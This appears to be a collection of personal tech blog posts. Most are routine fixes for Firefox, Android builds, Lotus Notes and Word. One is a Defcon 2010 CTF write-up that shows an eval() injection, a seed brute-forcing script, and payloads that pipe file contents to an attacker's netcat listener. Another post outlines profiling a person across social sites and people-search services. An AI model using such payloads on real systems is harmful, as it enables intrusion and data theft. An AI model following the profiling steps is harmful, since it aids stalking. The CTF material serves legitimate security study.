0

Disabling Personas in FireFox

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This had me stumped but it’s not that tough. The persona website getpersonas.com tends to install personas without any permissions. But you can disable it by typing “about:config” in the Firefox address bar and remove any entry in the following property: lightweightThemes.usedThemes
There it is…you’ve now disabled personas!

0

Pwtent Pwnable 200 Writeup CTF Quals 2010

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This post is a writeup of the Pwtent Pwnable 200 Challenge in Defcon 2010 CTF Quals.
The question was:
Running on pwn8.ddtek.biz. And this file was given.

If you open this file in an editor you see the following screen:

Note that there are references to lottod.pys file which indicates that this could be a python script file.  Sure enough, if you decompile it using decompyle you get the following source.

class ForkedTCPRequestHandler(SocketServer.StreamRequestHandler):
    __module__ = __name__
    lotto_grid = None
    connstream_fobj = None

    def setup(self):
        signal.signal(signal.SIGALRM, self.handleSessionTimeout)
        signal.alarm(SESSION_LIMIT_TIME)

    def handleSessionTimeout(self, signum, frame):
        raise socket.timeout

    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])

        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])

        return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))

        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

    def playGame(self):
        self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

    def handle(self):
        rand_seed = self.request.getpeername()[1]
        self.connstream_fobj = self.request.makefile()
        random.seed(rand_seed)
        self.request.send('Welcome to lottod good luck!\n')
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        self.winners = self.createWinners()
        self.request.send('Your random picks are:\n')
        for pick_idx in range(0, PICK_SIZE):
            self.request.send(('%d. %s\n' % (pick_idx,
             self.lotto_grid[self.pick_list[pick_idx]])))

        self.handlePickChange()
        self.playGame()

class ForkedTCPServer(SocketServer.ForkingMixIn,
 SocketServer.TCPServer):
    __module__ = __name__
    timeout = 5
    request_queue_size = 10

def runServer():
    (HOST, PORT,) = ('0.0.0.0',
     10024)
    server = ForkedTCPServer((HOST,
     PORT), ForkedTCPRequestHandler)
    server.serve_forever()

def doFork(n):
    try:
        pid = fork()
        if ((pid > 0) and (n > 0)):
            print ('Lottod PID %d' % pid)
        if (pid > 0):
            exit(0)
    except OSError, e:
        print ('Fork %d failed %d (%s)' % (n,
         e.errno,
         e.strerror))
        exit(1)

if (__name__ == '__main__'):
    doFork(0)
    chdir('/')
    setsid()
    umask(0)
    doFork(1)
    runServer()

# local variables:
# tab-width: 4

If you notice, this indicates that the server is running on port 10024 and indeed it was on pwn8.ddtek.biz. If you read through the code you also see that the source port number is being used as a seed to the pseudo-random number generator (PRNG).

rand_seed = self.request.getpeername()[1]

So I fired up netcat to see if indeed that was the case and sure enough no matter how many times I fired up the command the options I’d see would always be the same.

# nc -vv -p 1  pwn8.ddtek.biz 10024

If you see through the code of the decompiled file, it shows that the location to write as well the value to be written can be controlled by the user in the following snippet:

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

So I first wrote up a python script that followed the exact sequence of command as the decompiled code and found that there was no combination in the 65535 source port (or seeds) that would satisfy the following condition (the condition for winning):

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

But then you also see that the first element of the self.lotto_grid list is a function pointer. Also, you notice that there’s an eval() function that essentially executed the checkWinners function.
So I wrote up the following python script that would go through all possible combinations of ports and index values to overwrite so that I could overwrite the self.lotto_grid[0] value because that’d give me control of the execution flow.

# !/usr/bin/python
import random
RAND_MAX = (2 ** 20)
PICK_SIZE = 5
MAX_READ = 128
LOTTO_GRID_SIZE = 299
SESSION_LIMIT_TIME = 30
MAX_PICK_CHANGES = 5
WINNER_CHECK_FUNCTION = 'self.checkWinners'

class Test:
    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])
	#print "Winners are: ", winners
        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])
	return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))
	#counter = 0
	#while counter < len(grid):
	#	print grid[counter]
	#	counter += 1
        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))
        if winner:
            print "ZOMG You won!!!\n'"
	    return True
        else:
            print "Sorry you aren't very lucky... Maybe you have better luck with women?\n"
	    return False

    def playGame(self):
        #self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
        #    input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
        #    if (input.strip() == ''):
        #        break
        #    else:
        #        idx_to_edit = int(input)
        #        l = self.getLine('Input your new pick\n')
        #        self.lotto_grid[self.pick_list[idx_to_edit]] = l
		for idx_to_edit in range(-PICK_SIZE,PICK_SIZE):
			if self.lotto_grid[self.pick_list[idx_to_edit]]==self.lotto_grid[0]:
				print "Ind: %d, %s" % (idx_to_edit,self.lotto_grid[0])
				return True
	return False
	#gridcounter = 0
	#found = False
	#while gridcounter < len(self.lotto_grid):
	#  if self.lotto_grid[gridcounter] in self.winners:
	#    if gridcounter < PICK_SIZE:
	#      print "Gridctr: %d : %d" % (gridcounter,self.lotto_grid[gridcounter])
	#      found = True
	#  gridcounter += 1
	#return found
	#allfound = False
	#instances = 0
	#for x in self.winners:
	#	foundx = False
	#	gridctr = -LOTTO_GRID_SIZE
	#	while gridctr < LOTTO_GRID_SIZE:#len(self.lotto_grid):
	#			foundx = True
	#			print "gridctr: %d , val = %d " % (gridctr,x)
	#			#break
	#		gridctr += 1
	#	if foundx:
	#		allfound = True
	#	else:
	#		allfound = False
	#		return False
	#return allfound

    def handle(self,port):
        random.seed(port)
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        #print "picklist : ",self.pick_list
	self.winners = self.createWinners()
        #for pick_idx in range(0, PICK_SIZE):
        #    print(('%d. %s\n' % (pick_idx,
        #     self.lotto_grid[self.pick_list[pick_idx]])))
        if self.handlePickChange():
		return True
	return False
        #self.playGame()
	#if self.checkWinners(self.lotto_grid[1:]):
	#	return True
	#return False

test = Test()
portno = 0
while portno < 65536:
  print "Trying...%d" % ( portno )
  if test.handle(portno):
	print "Success! on port %d" % (portno)
    	#break
  portno += 1

Once you run this you get the following values for port and index: 28741 & -5 respectively.

$ sudo nc -vv pwn8.ddtek.biz 10024 -p 28741
Warning: inverse host lookup failed for 192.41.96.63: Unknown server error : Connection timed out
pwn8.ddtek.biz [192.41.96.63] 10024 (?) open
Welcome to lottod good luck!
Your random picks are:
0. self.checkWinners
1. 321358
2. 144737
3. 447310
4. 63867
Input the number of the pick that you wish to change or newline to stop:
-5
Input your new pick
self.checkWinners(self.winners.clear())
Input the number of the pick that you wish to change or newline to stop:

Thanks for your choices, calculating if you won...ZOMG You won!!!
 sent 44, rcvd 344
trance@bt:~$

But then this still does not give you the answer. The key here is to realize that you can perform remote command injection. So if you start a nc listener on your server and give following parameters for the new pick for the same index of -5 (in multiple runs of course) you can start enumerating the directories:

self.checkWinners(__import__('os').system('ls /home|nc MYIP 8888'))
self.checkWinners(__import__('os').system('ls /home/lottod|nc MYIP 8888'))
self.checkWinners(__import__('os').system('cat /home/lottod/key|nc MYIP 8888'))

After the last command your netcat listener shell shows the following string:
holdem is a safer bet than lotto

And that is indeed the answer to the challenge!

The python file is located here: Pp200sol.py.

0

SanDisk & Windows Media Center

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I recently got a Sansa e260 4 GB MP3 player just for kicks to check it out. Seems like the hardware runs a stripped down Windows install having FAT32 file system on it. What was interesting was, that somehow my files got corrupted and had to format the drive (My Computer -> eSansa(G:) -> Right click to “Format..”). All the folders disappeared and when I restarted they reappeared. What seemed to crash it was the presence of a few folders that I created not realizing that Sansa did not support folders as the HelpDesk person told me. Makes me wonder what kind of unstable condition would a folder creation have caused. I think I’ll need to further research this error.

0

Android Source Downloading Errors

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Over this weekend I decided to download the Android source tree on my computer (Backtrack 4 R2). The BT4R2 is no longer supported by the Offsec/Backtrack guys (mutt, purehate, etc.).
To start off with I tried to follow the instructions listed here.
The first error I got was with Git, I was using a version earlier than 1.5.4. So I downloaded git version 1.7.4, compiled it and installed it. Then I got the error:
fatal: unable to find remote handler for 'https'
Too bad, I tried recompiling and what not, and I did have openssl…so what was the problem?
The problem was not having libcurl-devel library. So I downloaded the library and launched configure, make clean, make and make install to reinstall git. Now the error was gone.

On the step where I am supposed to execute the following:
$ repo init -u https://android.googlesource.com/platform/manifest
I got the following error:

Exception in thread Thread-1:
Traceback (most recent call last):
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner
self.run()
File "/usr/lib/python2.5/threading.py", line 446, in run
self.__target(*self.__args, **self.__kwargs)
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper
success = project.Sync_NetworkHalf(quiet=opt.quiet)
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle
size = r.headers['content-length']
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__
return self.dict[name.lower()]
KeyError: 'content-length'
Exception in thread Thread-3:
Traceback (most recent call last):
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner
self.run()
File "/usr/lib/python2.5/threading.py", line 446, in run
self.__target(*self.__args, **self.__kwargs)
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper
success = project.Sync_NetworkHalf(quiet=opt.quiet)
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle
size = r.headers['content-length']
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__
return self.dict[name.lower()]
KeyError: 'content-length'
Exception in thread Thread-4:
Traceback (most recent call last):
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner
self.run()
File "/usr/lib/python2.5/threading.py", line 446, in run
self.__target(*self.__args, **self.__kwargs)
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper
success = project.Sync_NetworkHalf(quiet=opt.quiet)
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle
size = r.headers['content-length']
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__
return self.dict[name.lower()]
KeyError: 'content-length'
Exception in thread Thread-2:
Traceback (most recent call last):
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner
self.run()
File "/usr/lib/python2.5/threading.py", line 446, in run
self.__target(*self.__args, **self.__kwargs)
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper
success = project.Sync_NetworkHalf(quiet=opt.quiet)
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle
size = r.headers['content-length']
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__
return self.dict[name.lower()]
KeyError: 'content-length'
Exception in thread Thread-5:
Traceback (most recent call last):
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner
self.run()
File "/usr/lib/python2.5/threading.py", line 446, in run
self.__target(*self.__args, **self.__kwargs)
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper
success = project.Sync_NetworkHalf(quiet=opt.quiet)
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle
size = r.headers['content-length']
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__
return self.dict[name.lower()]
KeyError: 'content-length'
error: Exited sync due to fetch errors

Seems like this error is caused because the content-length http header is not sent by the repository. If you upgrade to Python 2.7.x you can resolve this error.
Now if you are compiling Python from source, it doesn’t come by default with SSL support. So to add SSL support you should edit the Python-2.7/Modules/Setup file and uncomment four lines:
_socket socketmodule.c
# Socket module helper for SSL support; you must comment out the other
# socket line above, and possibly edit the SSL variable:
SSL=/usr
_ssl _ssl.c \
-DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \
-L$(SSL)/lib -lssl -lcrypto

Of course, then you can do the standard steps to compile and install python:
$ ./configure
$ make
$ sudo make install

repo sync would work very well thereafter.

0

Modern-day Reconnaissance

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Back in the day “recon” had a different meaning than it does today. Today, in the age of cyber-terrorism and cyber-stalking or Google stalking, reconnaissance comes from a variety of different sources including tools such as mash-up applications make things quite palpable for a social engineer. For the purpose of this discussion, let’s consider two entities “stalker” (the person seeking information about “someone”) and the “stalkee” (the “someone” whose information is being sought).
Back in the day (and man I’m only talking about 4-5 years ago!), the only source was public forums where users would post questions using constant email IDs. You would need to scourge through different Usenet groups and that was it…and possibly a Friendster account. Now, people have Facebook profiles which can be publicly viewed. This gives us the information about a person’s friends giving us information about the stalkee’s geographical location and may be even birthday. LinkedIn gives information about the stalkee’s job. You can even confirm the geographical location of the stalkee using LinkedIn. Now you have the name of the person and the geographical location. If you need more information about the person such as his/her age/birthdate, I’ve seen that ZabaSearch is a good resource. You can get a lot of information using ZabaSearch but if the stalkee needs he/she can remove this information using the block feature of Zaba located here. I do not know how they deal with this information but Zaba does have a “premium service” and I do not know if this premium service would give access to these “blocked records”. Now you have the information about the age of the stalkee. You could even search Twitter for the person’s twitter feed to see what the stalkee’s doing. I came across an interesting mashup application that crawls twitter to get information about where a person is and it’s aptly called Please Rob Me!. There are other great tools available such as Loopt and Tripit. Just as Twitter, Google Buzz can also give a lot of information. And the best part about google buzz is things are searchable …cool…the stalker’s job’s now easier.

0

Lotus Notes and South Indian Names (error: Name too long)

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If you are a South Indian, have a long name, use lotus notes and want to send encrypted e-mail using Internet Certificates…you may just be out of luck! Why?
Lotus Notes 6 does not support importing of PKCS#12 (.pfx) certificates which have the CN (Customer name), OU (Organization unit), O (Organization), CA (Certificatio Authority) fields together more than 255 characters. Many of my south Indian friends in fact have names that are 40 characters themselves! Alongwith the O, OU and the CA taken together this could easily exceed more than 255 characters. On encountering such a situation, Lotus Notes also gives a friendly error message which my friends may not find quite amusing at that point “Name too long”. Once you encounter this error, you cannot proceed with the import. To work around this see if you can reduce the characters in OU and O fields because your e-mail ID has to match the one in Lotus.
I also found a useless response from IBM to get rid of this problem. Their response was pretty much “learn to deal with it! we won’t correct our stupid software”.
Justin’s written a pretty useful how to on importing S/MIME certificates into Lotus notes.

0

MS Word Tables and Formula

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I’ve often tried to use MS Word tables and do computations with the values in the tables. Example:

a0 b0 c0
a1 b1 c1
a2 b2 c2
a3 b3 c3

Suppose, the following conditions hold true:
c1 = a1xb1
c2 = a2xb2
a3 = a1 + a2
b3 = b1 + b2
c3 = c2 + c2

Click on the c1 cell, click on the “Layout” button, click on “Formula” button, in the Formula field, enter the following:
=PRODUCT(a1:b1)
Similarly, for c2 use =PRODUCT(a2:b2).
For a3,b3,c3 use =SUM(ABOVE)